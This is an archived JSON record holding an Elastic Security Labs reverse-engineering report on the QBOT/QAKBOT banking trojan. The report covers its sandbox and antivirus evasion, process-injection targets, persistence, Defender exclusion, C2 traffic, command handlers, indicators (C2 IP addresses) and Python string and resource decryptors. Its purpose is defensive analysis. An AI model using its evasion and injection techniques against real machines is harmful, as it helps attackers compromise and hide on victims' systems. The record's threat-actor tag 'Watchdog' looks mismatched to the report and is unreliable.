{
	"id": "cbbbb220-7ba2-4e10-b719-0be98af90409",
	"created_at": "2026-04-06T01:31:59.646362Z",
	"updated_at": "2026-04-10T13:12:39.503683Z",
	"deleted_at": null,
	"sha1_hash": "8195e127fa6b227124bcf4890c0ee1878b1399b6",
	"title": "QBOT Malware Analysis",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2207111,
	"plain_text": "QBOT Malware Analysis\r\nBy Cyril François\r\nPublished: 2023-02-14 · Archived: 2026-04-06 00:49:34 UTC\r\nKey takeaways\r\nElastic Security Labs is releasing a QBOT malware analysis report from a recent campaign\r\nThis report covers the execution chain from initial infection to communication with its command and control\r\ncontaining details about in depth features such as its injection mechanism and dynamic persistence mechanism.\r\nFrom this research we produced a YARA rule, configuration-extractor, and indicators of compromises (IOCs)\r\nPreamble\r\nAs part of our mission to build knowledge about the most common malware families targeting institutions and individuals,\r\nthe Elastic Malware and Reverse Engineering team (MARE) completed the analysis of the core component of the banking\r\ntrojan QBOT/QAKBOT V4 from a previously reported campaign.\r\nQBOT — also known as QAKBOT — is a modular Trojan active since 2007 used to download and run binaries on a target\r\nmachine. This document describes the in-depth reverse engineering of the QBOT V4 core components. It covers the\r\nexecution flow of the binary from launch to communication with its command and control (C2).\r\nQBOT is a multistage, multiprocess binary that has capabilities for evading detection, escalating privileges, configuring\r\npersistence, and communicating with C2 through a set of IP addresses. The C2 can update QBOT, upload new IP addresses,\r\nupload and run fileless binaries, and execute shell commands.\r\nAs a result of this analysis, MARE has produced a new yara rule based on the core component of QBOT as well as a static\r\nconfiguration extractor able to extract and decrypt its strings, its configuration, and its C2 IP address list.\r\nFor information on the QBOT configuration extractor and malware analysis, check out our blog posts detailing\r\nthis:\r\nQBOT Configuration Extractor\r\nQBOT Attack Pattern\r\nExecution flow\r\nThis section describes the QBOT execution flow in the following three stages:\r\nFirst Stage: Initialization\r\nSecond Stage: Installation\r\nThird Stage: Communication\r\nStage 1\r\nFirst stage execution flow\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 1 of 15\n\nThe sample is executed with the regsvr32.exe binary, which in turn will call QBOT’s DllRegisterServer export:\r\nregsvr32.exe loading QBOT and calling its DllRegisterServer export.\r\nAfter execution, QBOT checks if it’s running under the Windows Defender sandbox by checking the existence of a specific\r\nsubdirectory titled: C:\\INTERNAL\\__empty , if this folder exists, the malware terminates itself:\r\nQBOT checking if it is running and Windows Defender sandbox.\r\nThe malware will then enumerate running processes to detect any antivirus (AV) products on the machine. The image below\r\ncontains a list of AV vendors QBOT reacts to:\r\nEnum of vendors QBOT can detect.\r\nAV detection will not prevent QBOT from running. However, it will change its behavior in later stages. In order to generate\r\na seed for its pseudorandom number generator (PRNG), QBOT generates a fingerprint of the computer by using the\r\nfollowing expression:\r\n**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**\r\nIf the “C:” volume doesn’t exist the expression below is used instead:\r\n**fingerprint = CRC32(computerName + AccountName)**\r\nFinally, QBOT will choose a set of targets to inject into depending on the AVs previously detected and the machine\r\narchitecture:\r\n| | | | -------------------------- | ------------------------------------------------------------------------------------------------------------- | -----\r\n----------------- | ----------------------------------------------------------------------------------------------------------------------------- | ---\r\n--------------------------------------------------------------------------------------------------------- | -------------------------------------------\r\n----------------------------- | | AV detected \u0026 architecture | Targets | | BitDefender | Kaspersky | Sophos | TrendMicro | \u0026 x86 |\r\n%SystemRoot%\\SysWOW64\\mobsync.exe %SystemRoot%\\SysWOW64\\explorer.exe | | BitDefender | Kaspersky | Sophos |\r\nTrendMicro \u0026 x64 | %SystemRoot%\\System32\\mobsync.exe%SystemRoot%\\explorer.exe%ProgramFiles%\\Internet\r\nExplorer\\iexplore.exe | | Avast | AVG | Windows Defender \u0026 x86 |\r\n%SystemRoot%\\SysWOW64\\OneDriveSetup.exe%SystemRoot%\\SysWOW64\\msra.exe%ProgramFiles(x86)%\\Internet\r\nExplorer\\iexplore.exe | | Avast | AVG | Windows Defender \u0026 x64 |\r\n%SystemRoot%\\System32\\OneDriveSetup.exe%SystemRoot%\\System32\\msra.exe | | x86 |\r\n'%SystemRoot%\\explorer.exe%SystemRoot%\\System32\\msra.exe%SystemRoot%\\System32\\OneDriveSetup.exe | | x64 |\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 2 of 15\n\n%SystemRoot%\\SysWOW64\\explorer.exe%SystemRoot%\\SysWOW64\\msra.exe%SystemRoot%\\System32\\OneDriveSetup.exe\r\n|\r\nQBOT will try to inject itself iteratively, using its second stage as an entry point, into one of its targets– choosing the next\r\ntarget process if the injection fails. Below is an example of QBOT injecting into explorer.exe.\r\nQBOT injecting itself into explorer.exe\r\nStage 2\r\nSecond stage execution flow\r\nQBOT begins its second stage by saving the content of its binary in memory and then corrupting the file on disk:\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 3 of 15\n\nQBOT corrupting its binary file\r\nThe malware then loads its configuration from one of its resource sections:\r\nQBOT loading its configuration from resource\r\nQBOT also has the capability to load its configuration from a .cfg file if available in the process root directory:\r\nQBOT trying to load its configuration from a file\r\nAfter loading its configuration, QBOT proceeds to install itself on the machine– initially by writing its internal configuration\r\nto the registry:\r\nQBOT writing its configuration to the registry\r\nShortly after, QBOT creates a persistence subdirectory with a randomly-generated name under the\r\n%APPDATA%\\Microsoft directory. This folder is used to drop the in-memory QBOT binary for persistence across reboot:\r\nQBOT creating its persistence folder\r\nAt this point, the folder will be empty because the malware will only drop the binary if a shutdown/reboot event is detected.\r\nThis “contingency” binary will be deleted after reboot.\r\nQBOT will attempt the same install process for all users and try to either execute the malware within the user session if it\r\nexists, or create a value under the CurrentVersion\\Run registry key for the targeted user to launch the malware at the next\r\nlogin. Our analysis didn’t manage to reproduce this behavior on an updated Windows 10 machine. The only artifact\r\nobserved is the randomly generated persistence folder created under the user %APPDATA%\\Microsoft directory:\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 4 of 15\n\nPersistence folder is empty when QBOT is running\r\nQBOT finishes its second stage by restoring the content of its corrupted binary and registering a task via Schtask to launch a\r\nQBOT service under the NT AUTHORITY\\SYSTEM account.\r\nThe first stage has a special execution path where it registers a service handler if the process is running under the SYSTEM\r\naccount. The QBOT service then executes stages 2 and 3 as normal, corrupting the binary yet again and executing\r\ncommands on behalf of other QBOT processes via messages received through a randomly generated named pipe:\r\nQBOT running as SYSTEM service\r\nStage 3\r\nThird stage execution flow\r\nQBOT begins its third stage by registering a window and console event handler to monitor suspend/resume and\r\nshutdown/reboot events. Monitoring these events enables the malware to install persistence dynamically by dropping a copy\r\nof the QBOT binary in the persistence folder and creating a value under the CurrentVersion\\Run registry key:\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 5 of 15\n\nQBOT install persistence when suspend/resume or shutdown/reboot event occurs\r\nAt reboot, QBOT will take care of deleting any persistence artifacts.\r\nThe malware will proceed to creating a watchdog thread to monitor running processes against a hardcoded list of binaries\r\nevery second. If any process matches, a registry value is set that will then change QBOT behavior to use randomly generated\r\nIP addresses instead of the real one, thus never reaching its command and control:\r\nfrida-winjector-helper-32.exefrida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxydumpcap.exeCFF\r\nExplorer.exenot_rundll3\r\nQBOT will then load its domains from one of its .rsrc files and from the registry as every domain update received from its\r\nC2 will be part of its configuration written to the registry. See Extracted Network Infrastructure in Appendix A.\r\nFinally, the malware starts communicating with C2 via HTTP and TLS. The underlying protocol uses a JSON object\r\nencapsulated within an enciphered message which is then base64-encoded:\r\nQBOT message format\r\nBelow an example of a HTTP POST request sent by QBOT to its C2:\r\nAccept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\r\nHost: 181.118.183.98\r\nContent-Length: 77\r\nCache-Control: no-cache\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 6 of 15\n\nqxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==\r\nThrough this communication channel, QBOT receives commands from C2 — see Appendix B (Command Handlers). Aside\r\nfrom management commands (update, configuration knobs), our sample only handles binary execution-related commands,\r\nbut we know that the malware is modular and can be built with additional features like a VNC server, a reverse shell server,\r\nproxy support (to be part of the domains list), and numerous other capabilities are feasible.\r\nFeatures\r\nMersenne Twister Random Number Generator\r\nQBOT uses an implementation of Mersenne Twister Random Number Generator (MTRNG) to generate random values:\r\nQBOT's Mersenne Twister Random Number Generator implementation\r\nThe MTRNG engine is then used by various functions to generate different types of data, for example for generating registry\r\nkey values and persistence folders. As QBOT needs to reproduce values, it will almost always use the computer fingerprint\r\nand a “salt” specific to the value it wants to generate:\r\nQBOT generating random event name with fixed seed and salt\r\nString obfuscation\r\nAll QBOT strings are XOR-encrypted and concatenated in a single blob we call a “string bank”. To get a specific string the\r\nmalware needs a string identifier (identifier being an offset in the string bank), a decryption key, and the targeted string\r\nbank.\r\nGetStringAux function prototype.\r\nAs this sample has two string banks, it has four GetString' functions currying the string bank and the decryption key\r\nparameters: One C string function and one wide string function for each string bank. Wide string functions use the same\r\nstring banks, but convert the data to utf-16.\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 7 of 15\n\nQBOT calling GetString function\r\nGetString function currying GetStringAux with string bank and key parameters\r\nSee Appendix C (String Deciphering Implementation).\r\nImport obfuscation\r\nQBOT resolves its imports using a hash table:\r\nQBOT calling GetApi function\r\nGetApi function prototype\r\nThe malware resolves the library name through its GetString function and then resolves the hash table with a classic\r\nlibrary’s exports via manual parsing, comparing each export to the expected hash. In this sample, the hashing comparison\r\nalgorithm use this formula:\r\n**CRC32(exportName) XOR 0x218fe95b == hash**\r\nResource obfuscation\r\nThe malware is embedded with different resources, the common ones are the configuration and the domains list. Resources\r\nare encrypted the same way: The decryption key may be either embedded within the data blob or provided. Once the\r\nresource is decrypted, an embedded hash is used to check data validity.\r\nQBOT decrypting its resource with embedded or provided key\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 8 of 15\n\nSee Appendix D (Resource Deciphering Implementation).\r\nCyrillic keyboard language detection\r\nAt different stages, QBOT will check if the computer uses a Cyrillic language keyboard. If it does, it prevents further\r\nexecution.\r\nSet of languages QBOT is looking to stop its execution\r\nAVG/AVAST special behavior\r\nAVG and Avast share the same antivirus engine. Thus if QBOT detects one of those antivirus running, it will also check at\r\nthe installation stage if one of their DLLs is loaded within the malware memory space. If so, QBOT will skip the installation\r\nphase.\r\nQBOT checking if AVG/AVAST has hooked its process\r\nWindows Defender special behavior\r\nIf QBOT is running under SYSTEM account, it will add its persistence folder to the Windows Defender exclusion path in\r\nthe registry. It will also do this for the legacy Microsoft Security Essential (MSE) exclusion path if detected.\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 9 of 15\n\nQBOT adding its persistence folder to Windows Defender and MSE exclusion paths\r\nException list process watchdog\r\nEach second, QBOT parses running processes looking for one matching the hardcoded exception list. If any is found, a\r\n“fuse” value is set in the registry and the watchdog stops. If this fuse value is set, QBOT will not stop execution– but at the\r\nthird stage, the malware will use randomly generated IP and won't be able to contact C2.\r\nWatchdog thread setting fuse if any Exceptionlisted process is detected\r\n![QBOT using randomly generated IP address if fuse is set]/assets/images/qbot-malware-analysis/1qbot.png)\r\nQBOT process injection\r\nSecond stage injection\r\nTo inject its second stage into one of a hardcoded target, QBOT uses a classic CreateProcess , WriteProcessMemory ,\r\nResumeProcess DLL injection technique. The malware will create a process, allocate and write the QBOT binary within the\r\nprocess memory, write a copy of its engine, and patch the entry point to jump to a special function. This function performs a\r\nlight initialization of QBOT and its engine within the new process environment, alerts the main process of its success, and\r\nthen execute the second stage.\r\n![QBOT second stage injection]/assets/images/qbot-malware-analysis/2qbot.png)\r\n![QBOT injection entry point]/assets/images/qbot-malware-analysis/3qbot.jpg)\r\nInjecting library from command and control\r\nQBOT uses the aforementioned method to inject libraries received from C2. The difference is that as well as mapping itself,\r\nthe malware will also map the received binary and use a library loader as entry point.\r\n![QBOT DLL loader injection]/assets/images/qbot-malware-analysis/4qbot.jpg)\r\nQBOT Dll loader entrypoint\r\nMulti-user installation\r\nPart of the QBOT installation process is installing itself within others users’ accounts. To do so, the malware enumerates\r\neach user with an account on the machine (local and domain), then dumps its configuration under the user’s\r\nSoftware\\Microsoft registry key, creates a persistence folder under the users’ %APPDATA%\\Microsoft folder, and finally\r\ntries to either launch QBOT under the user session if the session exist, or else creates a run key to launch the malware when\r\nthe user will log in.\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 10 of 15\n\nQBOT installation \u0026 run for one user\r\nDynamic persistence\r\nQBOT registers a window handler to monitor suspend/resume events. When they occur, the malware will install/uninstall\r\npersistence.\r\n![QBOT window handler registration]/assets/images/qbot-malware-analysis/7qbot.png)\r\n![QBOT window handler catching suspend/resume event]/assets/images/qbot-malware-analysis/8qbot.png)\r\nQBOT registers a console event to handle shutdown/reboot events as well.\r\nQBOT registering console handler\r\nQBOT console handler catching shutdown/reboot event\r\nCommand and control public key pinning\r\nQBOT has a mechanism to verify the signature of every message received from its command and control. The verification\r\nmechanism is based on a public key embedded in the sample. This public key could be used to identify the campaign the\r\nsample belongs to, but this mechanism may not always be present.\r\n![QBOT command and control message processing]/assets/images/qbot-malware-analysis/1qbot.png)\r\n![Message signature verification with hardcoded command and control public key]/assets/images/qbot-malware-analysis/2qbot.png)\r\nThe public key comes from a hardcoded XOR-encrypted data blob.\r\n![Hardcoded command and control public key being XOR-decrypted]/assets/images/qbot-malware-analysis/3qbot.jpg)\r\nComputer information gathering\r\nPart of QBOT communication with its command and control is sending information about the computer. Information are\r\ngathered through a set Windows API calls, shell commands and Windows Management Instrumentation (WMI) commands:\r\n![Computer information gathering 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)\r\nComputer information gathering 2/2\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 11 of 15\n\nOne especially interesting procedure listed installed antivirus via WMI:\r\nQBOT listing installed antivirus via a WMI command\r\nUpdate mechanism\r\nQBOT can receive updates from its command and control. The new binary will be written to disk, executed through a\r\ncommand line, and the main process will terminate.\r\n![QBOT writing to disk and running the updated binary]/assets/images/qbot-malware-analysis/7qbot.png)\r\n![QBOT stopping execution if update is running]/assets/images/qbot-malware-analysis/8qbot.png)\r\nProcess injection manager\r\nQBOT has a system to keep track of processes injected with binaries received from its command and control in order to\r\nmanage them as the malware receives subsequent commands. It also has a way to serialize and save those binaries on disk in\r\ncase it has to stop execution and recover execution when restarted.\r\nTo do this bookkeeping, QBOT maintains two global structures — a list of all binaries received from its command and\r\ncontrol, and a list of running injected processes:\r\nQBOT’s list of DLL to inject received from its command and control.\r\nQBOT’s list of running injected processes\r\nConclusion\r\nThe QBOT malware family is highly active and still part of the threat landscape in 2022 due to its features and its powerful\r\nmodular system. While initially characterized as an information stealer in 2007, this family has been leveraged as a delivery\r\nmechanism for additional malware and post-compromise activity.\r\nElastic Security provides out-of-the-box prevention capabilities against this threat. Existing Elastic Security users can access\r\nthese capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized\r\ntraining videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free\r\n14-day trial of Elastic Cloud.\r\nMITRE ATT\u0026CK Tactics and Techniques\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 12 of 15\n\nMITRE ATT\u0026CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world\r\nobservations. The ATT\u0026CK knowledge base is used as a foundation for the development of specific threat models and\r\nmethodologies in the private sector, in government, and in the cybersecurity product and service community.\r\nTactics\r\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an\r\naction.\r\nTactic: Privilege Escalation\r\nTactic: Defense Evasion\r\nTactic: Discovery\r\nTactic: Command and Control\r\nTechniques / Sub Techniques\r\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\r\nTechnique: Process Injection (T1055)\r\nTechnique: Modify Registry (T1112)\r\nTechnique: Obfuscated Files or Information (T1027)\r\nTechnique: Obfuscated Files or Information: Indicator Removal from Tools (T1027.005)\r\nTechnique: System Binary Proxy Execution: Regsvr32 (T1218.010)\r\nTechnique: Application Window Discovery (T1010)\r\nTechnique: File and Directory Discovery (T1083)\r\nTechnique: System Information Discovery (T1082)\r\nTechnique: System Location Discovery (T1614)\r\nTechnique: Software Discovery: Security Software Discovery (T1518.001)\r\nTechnique: System Owner/User Discovery (T1033)\r\nTechnique: Application Layer Protocol: Web Protocols (T1071.001)\r\nObservations\r\nWhile not specific enough to be considered indicators of compromise, the following information was observed during\r\nanalysis that can help when investigating suspicious events.\r\nFile System\r\nPersistence folder\r\n**%APPDATA%\\Microsoft\\[Random Folder]**\r\nExample:\r\n**C:\\Users\\Arx\\AppData\\Roaming\\Microsoft\\Vuhys**\r\nRegistry\r\nScan Exclusion\r\n**HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\[Persistence Folder]**\r\nExample:\r\n**HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\C:\\Users\\Arx\\AppData\\Roaming\\Microsoft\\Blqgeaf**\r\nConfiguration\r\nConfiguration\r\n**HKU\\[User SID]\\Software\\Microsoft\\[Random Key]\\[Random Value 0]**\r\nExample:\r\n**HKU\\S-1-5-21-2844492762-1358964462-3296191067-1000\\Software\\Microsoft\\Silhmfua\\28e2a7e8**\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 13 of 15\n\nAppendices\r\nAppendix A (extracted network infrastructure)\r\n1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202\r\nAppendix B (command handlers)\r\nId Handler\r\n0x1 MARE::rpc::handler::CommunicateWithC2\r\n0x6 MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14\r\n0x7 MARE::rpc::handler::DisableGlobalRegistryConfigurationValuek0x14\r\n0xa MARE::rpc::handler::KillProcess\r\n0xc MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent1\r\n0xd MARE::rpc::handler::SetBunchOfGlobalRegistryConfigurationValuesAndTriggerEvent0\r\n0xe MARE::rpc::handler::DoEvasionMove\r\n0x12 MARE::rpc::handler::NotImplemented\r\n0x13 MARE::rpc::handler::UploadAndRunUpdatedQBOT0\r\n0x14 MARE::rpc::handler::Unk0\r\n0x15 MARE::rpc::handler::Unk1\r\n0x19 MARE::rpc::handler::UploadAndExecuteBinary\r\n0x1A MARE::rpc::handler::UploadAndInjectDll0\r\n0x1B MARE::rpc::handler::DoInjectionFromDllToInjectByStr\r\n0x1C MARE::rpc::handler::KillInjectedProcessAndDisableDllToInject\r\n0x1D MARE::rpc::handler::Unk3\r\n0x1E MARE::rpc::handler::KillInjectedProcessAndDoInjectionAgainByStr\r\n0x1F MARE::rpc::handler::FastInjectdll\r\n0x21 MARE::rpc::handler::ExecuteShellCmd\r\n0x23 MARE::rpc::handler::UploadAndInjectDll1\r\n0x24 MARE::rpc::handler::UploadAndRunUpdatedQBOT1\r\n0x25 MARE::rpc::handler::SetValueToGlobalRegistryConfiguration\r\n0x26 MARE::rpc::handler::DeleteValueFromGlobalRegistryConfiguration\r\n0x27 MARE::rpc::handler::ExecutePowershellCmd\r\n0x28 MARE::rpc::handler::UploadAndRunDllWithRegsvr32\r\n0x29 MARE::rpc::handler::UploadAndRunDllWithRundll32\r\nAppendix C (string deciphering implementation)\r\ndef decipher_strings(data: bytes, key: bytes) -\u003e bytes:\r\n result = dict()\r\n current_index = 0\r\n current_string = list()\r\n for i in range(len(data)):\r\n current_string.append(data[i] ^ key[i % len(key)])\r\n if data[i] == key[i % len(key)]:\r\n result[current_index] = bytes(current_string)\r\n current_string = list()\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 14 of 15\n\ncurrent_index = i + 1\r\n return result\r\nAppendix D (resource deciphering implementation)\r\nfrom Crypto.Cipher import ARC4\r\nfrom Crypto.Hash import SHA1\r\ndef decipher_data(data: bytes, key: bytes) -\u003e tuple[bytes, bytes]:\r\n data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)\r\n return data[20:], data[:20]\r\ndef verify_hash(data: bytes, expected_hash: bytes) -\u003e bool:\r\n return SHA1.SHA1Hash(data).digest() == expected_hash\r\ndef decipher_rsrc(rsrc: bytes, key: bytes) -\u003e bytes:\r\n deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])\r\n if not verify_hash(deciphered_rsrc, expected_hash):\r\n deciphered_rsrc, expected_hash = decipher_data(rsrc, key)\r\n if not verify_hash(deciphered_rsrc, expected_hash):\r\n raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')\r\n return deciphered_rsrc\r\nSource: https://www.elastic.co/security-labs/qbot-malware-analysis\r\nhttps://www.elastic.co/security-labs/qbot-malware-analysis\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.elastic.co/security-labs/qbot-malware-analysis"
	],
	"report_names": [
		"qbot-malware-analysis"
	],
	"threat_actors": [
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775439119,
	"ts_updated_at": 1775826759,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8195e127fa6b227124bcf4890c0ee1878b1399b6.pdf",
		"text": "https://archive.orkl.eu/8195e127fa6b227124bcf4890c0ee1878b1399b6.txt",
		"img": "https://archive.orkl.eu/8195e127fa6b227124bcf4890c0ee1878b1399b6.jpg"
	}
}